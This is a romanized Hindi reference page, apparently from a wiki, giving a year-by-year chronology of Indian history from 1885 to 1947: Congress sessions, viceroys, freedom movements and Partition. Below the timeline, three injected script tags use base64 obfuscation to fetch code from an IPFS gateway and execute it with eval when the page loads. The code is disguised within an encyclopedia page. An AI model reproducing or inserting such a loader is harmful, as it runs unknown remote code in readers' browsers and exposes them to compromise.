486 1885 ee. bharatiy rashtriy kaangres ki sthapana tatha pahala adhiveshan bambee ke gokuladas tejapal sanskrit skool mean. bangal teneansi ekt parit, bangal sthaniy svashasan. adhiniyam parit, aangl-barma yuddh. bambee presidensi esosieshan ki sthapana.
487 1886 ee. uttari barma ka british samrajy mean vilay. afaganistan ki uttari sima ka nirdharan. ramkrishna paramahans ki mrityu. kaangres ke doosare adhiveshan mean panjab ke pratinidhi lala muralidhar ka hindi mean bhashan. kaangres ke manch se hindi mean yah pahala bhashan tha.
488 1887 ee. maharani viktoriya ke shasanakal ki svarn jayanti. ilahabad vishvavidyalay ki sthapana. shivanarayan agnihotri dvara 'dev samaj' ki sthapana.
489 1888 ee. karnal thiyodor baiank dvara 'yoonaited iandiyan paitriy aautik esosieshan' ki sthapana.
490 1888–94 ee. l aaurd lainsadaun vayasaray.
491 1889 ee. prians af vels ki bharat ki doosari yatra. jamanalal bajaj, khudiram bos tatha javaharalal neharoo ka janm.
492 1891 ee. dvitiy phaiktri adhiniyam. sahavas varsh adhiniyam (ej aauf k aaunasent ekt), manipur mean vidroh, d aau. bhimarav ambedakar ka janm (14 aprail).
493 1892 ee. bharatiy parishadh adhiniyam, chunav ki pranali nirdharat.
494 1893 ee. eni besent ka bharat agaman, svami vivekanand shikaango sammelan ke lie amerika ravana.
495 1894 ee. natal (dakshin afrika) mean bharatiy rashtriy kaangres ki sthapana (kaangres ke lahaur (1893) adhiveshan se prabhavit hokar).
496 1894–99 ee. l aaurd elgin dvitiy ka vayasaray kal.
497 1896 ee. bambee mean pleg.
498 1897 ee. bharatiy shiksha seva ka gathan. subhashachandr bos ka janm. lokamany tilak ko shivaji se sambodhit desh ke bhakti ke pady likhane ke arop mean 18 mah ki k di qaid.
499 1898 ee. 'prarthana samaj' (bambee) dvara ek dalit varg mishan prarambh.
500 1899–1905 ee. l aaurd karzan vayasaray.
501 1900 ee. bhoomi svamitv-parishadh adhiniyam, durbhiksh ayog, kaangres ke manch se pahali mahila shrimati kadambini gaanguli ka bhashan.
502 1901 ee. maharani viktoriya ki mrityu, edavard saptam sianhasanaroodh, uttar-pashchim sima prant ka gathan.
503 1904 ee. koaparetiv sosayati adhiniyam, puratattv vibhag ki sthapana, bharatiy vishvavidyalay adhiniyam, jatindradas ka janm.
504 1905 ee. bangal vibhajan, l aaurd marle bharatiy mamaloan ke sachiv niyukt.
505 1905–10 ee. l aaurd minto dvitiy ka vayasaray kal.
506 1906 ee. kaangres (kalakatta adhiveshan) manch se dadabhaee nauroji dvara 'svaraj' shabd ka pahali bar prayog. dhaka mean 'muslim lig' ki sthapana.
507 1907 ee. soorat adhiveshan mean kaangres vibhajit. eni besent thiyosophikal sosayati ki adhyaksh bani. tata ispat karakhane se ispat ka utpadan prarambh.
508 1908 ee. samachar patr adhiniyam. khudiram bos ko phaansi. tilak par rajadroh ka mukadama.
509 1909 ee. m aaurle minto sudhar. bharatiy parishadh adhiniyam parit. vayasaray ke karyakari parishadh mean pratham bharatiy (ech. pi. sinha) ki niyukti. madan lal dhiangara dvara landan mean karzan vaili ki hatya. dakshin afrika jate hue jahaz par gaandhi ji ne 30 hazar shabdoan ki 'hindi svaraj' namak pustak likhi.
510 1910–16 ee. l aaurd hardiang dvitiy ka vayasaray kal.
511 1910 ee. edavard tritiy ki mrityu, jarj pancham sianhasanaroodh.
512 1911 ee. dvitiy dilli darabar. samrat jarj pancham ki bharat yatra. bangal vibhajan radd. rajadhani kalakatta se dilli sthanantarit karane ki ghoshana. janaganana.
513 1912 ee. rajadhani kalakatta se dilli sthanantarit. dilli prant ka gathan. l aaurd hardiang dilli mean bam visphot mean ghayal. javahar lal neharoo pahali bar kaangres adhiveshan (baankipur) mean upasthit. iansliangtan kamishan ka gathan. abulakalam azad dvara 'al-hilal' akhabar prakashit.
514 1913 ee. ravindranath taigor ko nobel puraskar. firojashah mehata dvara 'd bambee kr aaunikal' ki shuruat. sain fraansisko mean gadar parti ka gathan.
515 1914 ee. tilak maandale jel se riha. 'ph aaurest risarch ianstityoot' ki sthapana. panama nahar ki shuruat. eni besent dvara 'nyoo iandiya' prakashit.
516 1914–18 ee. pratham vishv yuddh. briten dvara turki ke viruddh hamala.
517 1915 ee. bharatiy suraksha adhiniyam. gaandhi ji dakshin afrika se laute. ahamadabad mean satyagrah ashram ki sthapana. gopal krishna gokhale ka nidhan. eni besent dvara 'homarool lig' ke gathan ki ghoshana (25 sitambar).
518 1916 ee. lokamany tilak dvara 'homarool lig' ki sthapana (26 aprail). kaangres-muslim lig ke bich 'lakhanoo samajhauta'. poona mean pratham mahila vishvavidyalay ki sthapana. banaras hindoo vishvavidyalay ki sthapana. dadabhaee nauroji ka nidhan.
519 1916–1921 ee. l aaurd chemsaphord ka vayasaray kal.
520 1917 ee. maantegyoo bharat-mantri niyukt tatha inaki bharat yatra. kaangres tatha muslim lig ki bambee mean pahali sanyukt baithak. 'maantegyoo ghoshana'. bharat mean svayattashasi sansthaoan ka kramik vikas tatha uttaradayi sarakar ki sthapana. gaandhi ji dvara champaran satyagrah arambh. homarool aandolan ke silasile mean eni besent bandi. shiksha se sambandhit saidalar ayog ki niyukti. raulat ekt kameti ka gathan.
521 1918 ee. raulat ekt riport tatha maantegyoo-chemsaphord riport prakashit. senamean afasaroan ke pad par niyukti ke lie bharatiy arh ghoshit. rasabihari bos ki adhyakshata mean 'bangiy janasabha' ki sthapana. surendranath banarji ki adhyakshata mean bambee mean al iandiya m aaudaret kaanphreans ayojit. gaandhi ji ke dvara ahamadabad kap da mazadooroan ki maang ke samarthan mean satyagrah ke roop mean pahali bar bhookh h datal ka prayog kiya gaya. surendranath banarji neshanal libaral lig ke adhyaksh nirvachit.
522 1919 ee. maantegyoo-chemsaphord sudhar parit. raulat ekt parit. jaliyaanvala bag narasanhar. khilaphat kameti ki sthapana. ravindranath thakur dvara sar ki upadhi vapas. bambee mean mil mazadooroan ka pahala sammelan. eni besent ki adhyakshata mean dilli mean pahala akhil bharatiy mahila sammelan ayojit. ilahabad mean 'lidar samachar patr' ke karyalay mean 'uttar pradesh libareshan esosieshan' ki sthapana. tritiy afagan yuddh. bharatiy sarakar adhiniyam 1919 parit.
523 1920 ee. khilafat tatha asahayog aandolan arambh. gaandhi ji dvara boar yuddh mean mila 'kesar-e-hind' padak sarakar ko vapas. l aaurd sinha bihar-u disa ke gavarnar. kaangres ka netritv gaandhiji ke hath mean. 'akhil bharatiy tred yooniyan kaangres' ki sthapana. aligadh muslim vishvavidyalay ki sthapana. tilak ki mrityu. hantar samiti ki riport prakashit.
524 1921–1926 ee. l aaurd ridiang ka vayasaray kal.
525 1921 ee. prians af vels edavard ki bharat yatra. 'chembar af prianses' ki sthapana. vijayava da akhil bharatiy kaangres kameti sammelan mean tilak svaraj kosh ke lie ek karo d rupaye ekatrit karane ka nirnay (1 aprail). dilli akhil bharatiy kaangres kameti mean gaandhi ji ka savinay avajna aandolan prastap parit (4 navambar). mopala vidroh (20 navambar). gurudvara sudhar aandolan, bolapur ([[pashchim bangal]) mean 'vishvabharati shanti niketan vishvavidyalay' ki sthapana. h dappa mean utkhanan prarambh. bharat sarakar adhiniyam 1919 lagoo.
526 1922 ee. kalakatta mean savinay avajna aandolan arambh (15 joon). chauri-chaura kaand (5 faravari). baradoli mean kaangres karyasamiti dvara savinay avajna aandolan sthagit karane ka nirnay (12 faravari). kaangres dvara samoohik savinay avajna aandolan sthagit (31 disambar). motilal neharoo tatha chitaranjan das dvara 'svaraj parti' ki sthapana. maantegyoo ka istifa.
527 1923 ee. madan mohan malaviy dvara 'iandiyan parti' ki sthapana. bambee mean kap da mazadooroan ki 'girani kamagar yooniyan' sthapit. 'hindustan ripablikan esosiesan' ki sthapana. namak-kar qanoon parit. sena ki kuchh bataliyanoan ki qaman ka bharatiyakaran. praphull chandr dvara ahamadabad mean gujarat vidyapith ki adharashila, kamal pasha dvara turki ko dharmanirapeksh rajy ghoshit karane se khilafat aandolan svatah samapt. svarajiyoan ka parishadoan mean pravesh.
528 1924 ee. kanapur k aaunsipiresi kes. gaandhi ji pahali bar evan antim bar kaangres adhyaksh (belagaanv).
529 1925 ee. akhil bharatiy dalit varg esosieshan ki sthapana. aantaravidyalay bord gathit. akhil bharatiy kaangres kameti ki karyavahiyoan ke lie hindustani bhasha ki svikriti (26 disambar). sikh gurudvara parit. chitaranjan das ka nidhan. vitthalabhaee patel vidhanasabha mean pratham bharatiy adhyaksh niyukt. shanti niketan mean gaandhi ji tatha ravindranath thakur mean samajik samasyaoan par batachit (30 mee). l aaurd litan dvitiy sthanapann vayasaray.
530 1926–31 ee. l aaurd iravin vayasaray.
531 1926 ee. tred yooniyan ekt parit. rupaye ka avamoolyan. dilli mean 'al iandiya prohibeshan lig' (akhil bharatiy nashabandi lig) ki sthapana (31 janavari). akhil bharatiy kaangres kameti dvara svaraj parti ke sadasyoan ko kendriy vidhanasabha se tyagapatr dene ka prastav parit (6 march). gaandhi ji dvara guvahati adhiveshan mean svadhinata prastav ka virodh (26 disambar).
532 1927 ee. saiman kamishan ki niyukti. bharatiy nausena adhiniyam. kaangres ke madras adhiveshan mean svatantrata ke lakshy ki ghoshana. poona mean b dauda ki maharani ki adhyakshata mean 'akhil bharatiy sammelan' ayojit (5 joon). ilahabad mean pandit madan mohan malaviy ki adhyakshata mean ayojit sarvadaliy sammelan dvara saiman kamishan ka bahishkar karane ka nirnay (11 disambar). muslim lig ka vibhajan (29 disambar).
533 1928 ee. d aau. aansari ki adhyakshata mean sarvadaliy bahishkar sammelan banaras mean ayojit. saiman kamishan ke bharat agaman par 3 faravari ko h datal ka ahvan (15 janavari). saiman kamishan bharat mean aya (3 faravari). neharoo riport, hindustan ripablikan ki vibhinn shakhaoan ko sangathit kar 'hindustan soshalist ripablik' ki sthapana (8-9 disambar) (isaka nirnay sukhadev, shivavarma, phanindranath bos, bhagat sianh, vijay kumar sinha tatha kuandanalal vidyarthi dvara firozashah kotala stediyam, dilli mean ek gupt baithak mean liya gaya. chandrashekhar azad baithak mean nahian the, parantu unhean esosieshan ke sashastr vibhag ka pradhan niyukt kiya gaya.) saiman kamishan ka virodh karate samay pulis lathicharj mean lala lajapat ray ghayal (17 navambar). kalakatta mean javahar lal neharoo ki adhyakshata mean 'akhil bharatiy samajavadi yuva kaanges' ka pahala sammelan (27 disambar). kaangres adhiveshan mean gaandhiji ki ghoshana—"yadi ap mere sath sahayog karean aur eemanadari tatha buddhimata se kam karean to sal bhar mean svaraj mil jaega" (31 disambar). kaangres adhiveshan mean dominiyan stets ke paksh mean prastav parit tatha subhashachandr bos ka poorn svadhinata prastav asvikrit. 'iandipendeans lig' ki sthapana. krishi ke lie shahi ayog ki niyukti.
534 1929 ee. ilahabad mean abulakalam azad ki adhyakshata mean 'akhil bharatiy muslim soshalist parti' ki sthapana (isase pahale rashtravadi musalaman neta saiyyad ahamad barelavi tatha yusoof muhar ali dvara 'kaanges muslim parti ki sthapana) (27-28 julaee). kendriy asembali mean bhagatasianh v batukeshvar datt dvara bam pheanka gaya (8 aprail). krishi shodh parishadh ka gathan. merath sh dayantr ke abhiyuktoan par mukadama arambh. lahaur sh dayantr ke abhiyukt jatin das ki 64 dinoan ki bhookh h datal ke bad mrityu. 166 din ki bhookh h datal ke bad rangoon jel mean phooanji vijaja ki mrityu. l aaurd iravin ki ghoshana. bharat ka sanvaidhanik pragati ka lakshy aupacharik rajy ki sthapana (31 aktoobar). lahaur mean kaanges ke 44vean adhiveshan mean javahar lal neharoo ki adhyakshata mean svarajy ka prastav parit (29 disambar). 31 disambar ki madhyaratri ke samay pandit javaharalal neharoo ne ravi tat par tiranga phaharaya.
535 1930 ee. javahar lal neharoo dvara 26 janavari ko svadhinata divas ke roop mean manane ka ahvan (7 janavari). hindustan ripablikan sosayati dvara 'bam ka darshan' namak parchi prakashit (2 faravari). akhil bharatiy kaangres parti dvara savinay avajna aandolan (namak) ka karyakram svikrit (19 faravari). daandi yatra arambh (12 march). namak qanoon to da gaya (6 aprail). 28 march ko 'anand bhavan' desh ko samarpit tatha 11 aprail ko 'svaraj bhavan' ke roop mean namakaran. subhashachandr bos kalakatta nagar nigam ke meyar nirvachit (22 agast). si. vi. raman ko bhautiki ka nobel puraskar (14 navambar). pratham golamej sammelan landan mean. kaangres karyasamiti gairaqanooni ghoshit (25 agast).
536 1931–1936 ee. vayasaray l aaurd viliangatan ka vayasaray kal.
537 1931 ee. kaangres karyasamiti par se pratibandh hata (26 janavari). lakhanoo mean motilal neharoo ka nidhan (5 faravari). ilahabad mean pulis muthabhe d mean chandrashekhar azad ki mrityu (27 faravari). gaandhi-iravin samajhauta (march). lahaur mean ravi tat par bhagat sianh, rajaguru tatha sukhadev ko phaansi (23 march). shok svaroop gaandhi ji ko karachi adhiveshan mean yuva krantikariyoan dvara kale phool bheant (31 march). bambee kaangres haus mean sarojini nayadoo dvara rashtriy jhanda divas ka udaghatan (26 aprail). kaangres karyasamiti ki or se gaandhiji ko golamej sammelan mean kaangres ka pratinidhi niyukt kiya gaya (10 joon). gaandhiji dvara prastavit charakha yukt jhanda rashtriy kaangres ka dhvaj bana (1 agast). sanyukt prant mean lagan-roko aandolan (11 disambar). r aauyal lebar kamishan ki riport prakashit.
538 1932 ee. sarakar dvara prastavit sanvaidhanik shasan sudharoan par shvetapatr prakashit. merath sh dayantr kes ke 27 abhiyuktoan ko saza (16 janavari). gaandhi ji dvara vyaktigat satyagrah arambh (26 joon). eni besent ka dehant (20 sitambar). pahali bar 'pakistan' shabd ka prayog. gaandhiji dvara saptahik 'harijan' ki shuruat. raimje maikdonald dvara 16 agast ko sampradayik nirnay ki ghoshana. 24 sitambar ko gaandhiji aur ambedakar ke madhy poona samajhauta sampann.
539 1934 ee. savinay avajna aandolan vapas. patana mean achary narendradev ki adhyakshata mean 'kaangres samajavadi parti' ke gathan ki ghoshana (17 mee). kaangres chunav ghoshana patr prakashit (14 joon). gaandhi ji kuchh samay ke lie kaangres se alag (17 sitambar). bambee mean sampoornanand ki adhyakshata mean 'akhil bharatiy kaangres soshalist parti' ka aupacharik udaghatan (21 aktoobar). uttari bharat mean bhari bhookamp. bihar mean bhishan tabahi.
540 1935 ee. bharat sarakar adhiniyam 1935 parit (agast). bharat-briten vyapar samajhauta. gaandhi ji ke sathi tatha satyagrah aandolan mean jel jane vale pratham vyakti mohan lal pandya ka nidhan (18 mee). gaandhiji dvara mira ben ke lie vardha ke pas seva gaanv ke ashram (sevashram) ki sthapana (22 aktoobar).
541 1936–44 ee. l aaurd linalithago ka vayasaray kal.
542 1936 ee. samrat j aaurj pancham ka nidhan (21 janavari). j aaurj shashtam samrat bane. akhil bharatiy kaangres kameti adhiveshan mean kaangres karravaee ki bhasha hindi banae jane sambandhi prastav asvikrit (23 agast).
543 1937 ee. sanghiy nyayalay ki sthapana. prantiy svashasan ka udaghatan (aprail). 11 mean se 7 prantoan mean kaangres mantrimandal gathit. madhy prant mean d aau. en. ji. khare dvara desh ka pahala mantrimandal gathit (9 joon). kendriy vidhanasabhi mean chiantamani deshamukh dvara prastut pati ki sampatti mean vidhavaoan ko uttaradhikar dilane vala vidheyak parit (5 faravari). gaandhi ji ke netritv mean akhil bharatiy shiksha kaanfreans dvara nee shiksha niti ka niyojan.
544 1938 ee. subhashachandr bos kaangres ke adhyaksh nirvachit. bi. di. savarakar hindoo mahasabha ke adhyaksh nirvachit. sharatachandr chatarji tatha mohammad iqabal ki mrityu.
545 1939 ee. tripura adhiveshan mean subhashachandr bos kaangres ke adhyaksh pad par dubara nirvachit tatha bad mean tyagapatr (28 aprail). bos dvara 'pharavard blak' ki sthapana (3 mee). dvitiy vishvayuddh arambh (3 sitambar). vishvayuddh mean bharat ko bina ijazat shamil karane ke virodhasvaroop prantiy kaangres mantrimandaloan ka tyagapatr. jinna dvara kaangres shasan se mukti ke lie 22 disambar ko 'mukti divas' ke roop mean manane ka ahvan (8 aktoobar).
546 1940 ee. maulan abulakalam azad kaangres adhyaksh. muslim lig ke lahaur adhiveshan mean jinna dvara musalamanoan ke lie prithakh desh ki maang (22 march). kaangres karyasamiti dvara gaandhi ji ka vyaktigat satyagrah svikrit (13 aktoobar). vinoba bhave pahale vyaktigat satyagrahi.
547 1941 ee. japan dvara yuddh ki ghoshana. jinna dvara pakistan ki parikalpana par kaangres ki svikriti ki maang (17 aprail). subhashachandr bos nazarabandi se bhagakar kalakatta se jarmani pahuanche.
548 1942 ee. barma mean aangrezoan ka atmasamarpan. akhil bharatiy kaangres kameti ke bambee adhiveshan mean 'aangrezoan, bharat chho do' prastav parit tatha deshavyapi aandolan shuroo (8 agast).
549 1943 ee. muslim lig ne apane karachi adhiveshan mean 'divaid eand kkit' (baantoan aur chho do) slogan ko parit kiya.
550 1944–47 ee. l aaurd vevel ka vayasaray kal.
551 1944 ee. asam par japani akraman. lahaur mean pramukh akali neta sherasianh ki ghoshana ki desh vibhajan ya pakistan ki maang ko svikriti di gee to sikh bhi alag svatantr rashtr ki maang kareange (1 sitambar). si. rajagopalachari ke sujhavoan par sanvaidhanik a dachan ke lie gaandhiji-jinna varta (9 sitambar). azad hind fauj bharat ke nikat pahuanchi.
552 1945 ee. briten mean lebar parti ki sarakar. dvitiy vishvayuddh ki samapti. l aaurd vevel ki ghoshana. azad hind fauj ka atmasamarpan tatha un par pahali bar mukadama.
553 1946 ee. kaibinet mishan bharat mean. nausena vidroh (18 faravari). muslim lig ne 16 agast ko 'sidhi karravaee' divas manaya. aantarim sarakar ka gathan (2 sitambar). javahar lal neharoo pradhanamantri niyukt. muslim lig aantarim sarakar mean shamil (26 aktoobar). sanvidhan sabha ki pahali baithak (disambar). kaibinet mishan yojana ki ghoshana (16 joon).
554 1947–48 ee. l aaurd mauntabetan ka vayasaray kal (24 march se).
555 1947 ee. british sansad mean pradhanamantri klimeant richard hedali dvara joon, 1948 tak aangrezoan ke bharat chho dane ke nirnay ki ghoshana (20 faravari). maunt betan dvara joon, 1948 ke sthan par 15 agast, 1947 ko satta hastaantaran karane ka nirnay (3 joon). akhil bharatiy kaangres samiti dvara vibhajan prastav parit (15 joon). british sansad mean bharat-pakistan vibhajan parit tatha 15 agast, 1947 ko satta hastaantaran sambandhi 'bharatiy svadhinata adhiniyam' 4 julaee, 1947 ko sansad mean pesh kiya gaya. bharatiy svadhinata adhiniyam ko british samprabhu (samrat) ki svikriti (18 julaee). 14 agast ko pakistan bana tatha 15 agast ko bharat svadhin. javaharalal neharoo pradhanamantri tatha l aaurd mauntabetan gavarnar-janaral bane.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>